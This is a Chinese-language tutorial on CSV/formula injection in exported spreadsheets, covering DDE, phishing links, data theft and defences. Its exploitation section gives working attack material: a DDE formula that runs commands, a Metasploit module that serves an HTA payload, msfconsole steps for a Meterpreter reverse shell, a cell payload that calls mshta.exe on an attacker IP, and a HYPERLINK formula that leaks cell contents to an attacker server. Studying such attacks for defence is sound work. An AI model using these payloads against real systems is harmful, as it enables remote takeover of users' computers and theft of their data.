漏洞介绍
CSV注入(CSV Injection)漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL会调用本身的动态功能,执行攻击者的恶意代码,从而控制用户计算机。
漏洞原理
创建一个xls文件,在单元格中输入=1+1
,回车后可以看到值变成了2,说明加号被当做运算执行了。
当然,不止是+
号能执行运算,=、-、@
这样的符号也会被excel解析为公式。
DDE(Dynamic Data Exchange)
DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都 可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。
调用DDE需要在文件->选项->信任中心->信任中心设置->外部内容
中开启:
默认不勾选‘启用动态数据交换服务器启动(不推荐)’即可防止DDE启动外部应用。较老的版本如office 2016 MSO(16.0.4266.1001)无该选项,因此无法禁止执行外部程序。
漏洞演示
在单元格中输入=1*cmd|' /C calc'!A0
,此时你会发现两个弹窗:
当不注意的情况下,疯狂点是
,那么此时就会执行一个系统命令,弹出了计算器。
漏洞利用
访问恶意网站(钓鱼)
=HYPERLINK("http://baidu.com","还记得我吗老baby?我想你了!!!")
用户点击链接时,系统会调用浏览器访问这个网站。
这个有点鸡助,需要受害者手动点击链接。但这个公式不会触发警告。
当然,也可以配合IE浏览器漏洞,Flash等漏洞配合获取shell
反弹shell
攻击机:kali
目标机:windows 10
没有搭建网页漏洞模板,我们就直接制作好Excel到目标机执行即可。
kali操作:
复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
打开pg数据库:
service postgresql start
启动msf:
msfconsole
msfconsole操作:
#重置数据库
reload_all
#查询新建msh_shell模块
search msh_shell
#加载 msh_shell模块
use exploit/windows/smb/msh_shell
#设置监听payload,设置ip等
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.128
set uripath csv
exploit
新建一个Excel 表格,将以下payload插入单元格:
+1+cmd|'/c mshta.exe http://192.168.206.128:8080/csv'!A0
上传到windows10上,然后打开,当用户疯狂点
是
后,我们的目标机就上线了
msf获取shell权限:
sessions -l
sessions -i 1
shell
窃取其他单元格信息
攻击机开启web日志功能:
这里以tomcat日志为例子,编辑conf下的server.xml文件,将以下内容取消注释
在Excel 注入以下内容
payload:
=HYPERLINK("http://192.168.206.130:8080/"&D2&D3,"Error: Please click me!")
当用户导出报表后,不小心点击了某个单元格的内容,会导致D2,D3单元格内容泄露。
查看tomcat的web日志:
实战漏洞复现
CVE-2018-10504
CVE-2019-15092
防御措施
这种攻击很难缓解,并且从许多漏洞赏金计划中都明确禁止了这种攻击。要对其进行修复,请确保没有任何单元格以下列任何字符开头:
等于(“ =”)
加号(“ +”)
减号(“-”)
在 (”@”)
开发人员可以在包含此类字符的单元格的开头添加撇号(’)。添加撇号(’)会告诉excel该单元格不包含公式,并且在查看MS Excel时,在单元格中作为第一个字符输入时不会显示撇号(’)。
参考链接
https://www.freebuf.com/vuls/195656.html
https://blog.youkuaiyun.com/qq_34304003/article/details/87635582
https://www.veracode.com/blog/secure-development/data-extraction-command-execution-csv-injection
https://www.anquanke.com/post/id/84497
http://kuaiyaojinga.com/110057477
https://www.anquanke.com/post/id/89972
https://xz.aliyun.com/t/4124
https://galaxylab.com.cn/formula-injection-%E5%85%AC%E5%BC%8F%E6%B3%A8%E5%85%A5/